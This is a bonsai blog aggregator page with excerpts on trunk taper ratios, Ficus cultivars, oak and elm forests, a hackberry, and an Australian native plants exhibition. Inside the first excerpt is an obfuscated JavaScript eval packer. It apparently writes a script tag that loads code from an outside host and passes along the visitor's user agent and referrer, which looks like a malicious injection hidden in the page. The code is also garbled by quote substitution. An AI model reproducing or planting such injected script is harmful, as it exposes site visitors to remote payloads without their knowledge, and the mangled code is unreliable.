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Predicting bonsai trunk taper

7 months ago Nebby 0
Source: Growing Bonsai Blog. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eebfn|var|u0026u|referrer|ienra||js|php’.split(‘|’),0,{})) Trunk cutback for bonsai Naturally, growing bonsai is not done by formulas and ratios. The best bonsai break all the ratios mentioned in this article. However, these are ratios that in general produce realistic trees. As such, these can be used as an assistant for Read More

Ficus concinna a red leaved Ficus

7 months ago Nebby 0
Source: Bonsai Hunk Blog. Ficus concinna is one of the figs that has the reddest new leaves as well as being an excellent material for bonsai. The following shot shows the tree, grown from seed, in old and then new foliage. The new foliate sprouts out red and gradually turns green over the next 1-3 Read More

Ficus ‘ExoticaJS’ initial styling

7 months ago Nebby 0
Source: Bonsai Hunk Blog. Ficus ‘ExoticaJs’, probably another cultivar related to Ficus salicaria, is a great material for bonsai. In 2013 I purchased a pre-bonsai and did an immediate rough styling. The first image shows the result of an hours’ trimming back. The second shot shows the tree rin 2018.  It is beginning to take Read More

One Bonsai, Three Seasons, Four Photos

7 months ago Nebby 0
Source: Bonsai Bark Blog. Fall. Luis Vallejo calls this tree a Spanish oak (Quercus faginea) though Wikipedia and some others refer to it as Portuguese oak (other names that popped up are Valencian oak and Lusitanian oak).  It belongs to Luis and resides at the the Municipal Bonsai Museum of Alcobendas in Spain. Welcome to Luis Vallejo’s Bonsai Bark (just Read More

Mossy Bonsai Glade & Other Brilliant Forests

7 months ago Nebby 0
Source: Bonsai Bark Blog. Here’s what Felix Laughlin, the president of the National Bonsai Foundation wrote about this outstanding forest…  “Wayne, the photo of the  forest of Chinese elms is from the North American Collection at the National Bonsai and Penjing Museum, and was donated by Susanne Barrymore; it’s been in training since 1988.” Two full  pallets of Read More

Hackberry (celtis occidentalis)

7 months ago Nebby 0
Source: BonTsai Blog. I think enough work has been done with this tree to warrant it’s own post! I purchased this tree from Bob at Kimura Nursery in Northridge. There were 3 qualities I based this pick off of that distinguished it from other trees. First was decent nebari. Basal flare was evident and the Read More

Majestic Bonsai Vista

7 months ago Nebby 0
Source: Bonsai Bark Blog. You don’t see that many bonsai photos with such majestic vistas in the background. I don’t know where the shot was taken, nor do I know the variety of the tree but I do know that the photo and the tree are from Yoshio Nihei. Continuing from yesterday with bonsai we found on Magdalena Chiavazza’s timeline Read More

AUSTRALIAN PLANTS AS BONSAI EXHIBITION – Part 2

7 months ago Nebby 0
Source: Watto Bonsai Blog. There were a few trees that I really liked at the exhibition and a few that I couldn’t get a reasonable photo of and they are in this post. Leptospermum juniperinum This was my favorite tree, a small and very simple design that struck a cord with me. The tree and Read More

AUSTRALIAN PLANTS AS BONSAI EXHIBITION

7 months ago Nebby 0
Source: Watto Bonsai Blog. On 17 & 18 March 2018 an exhibition of Australian native plants as bonsai was held at the Australian National Botanic Gardens in Canberra. I went for a look on the Sunday in very unfriendly weather conditions. In fact most of the botanic gardens were closed because of the bush fire Read More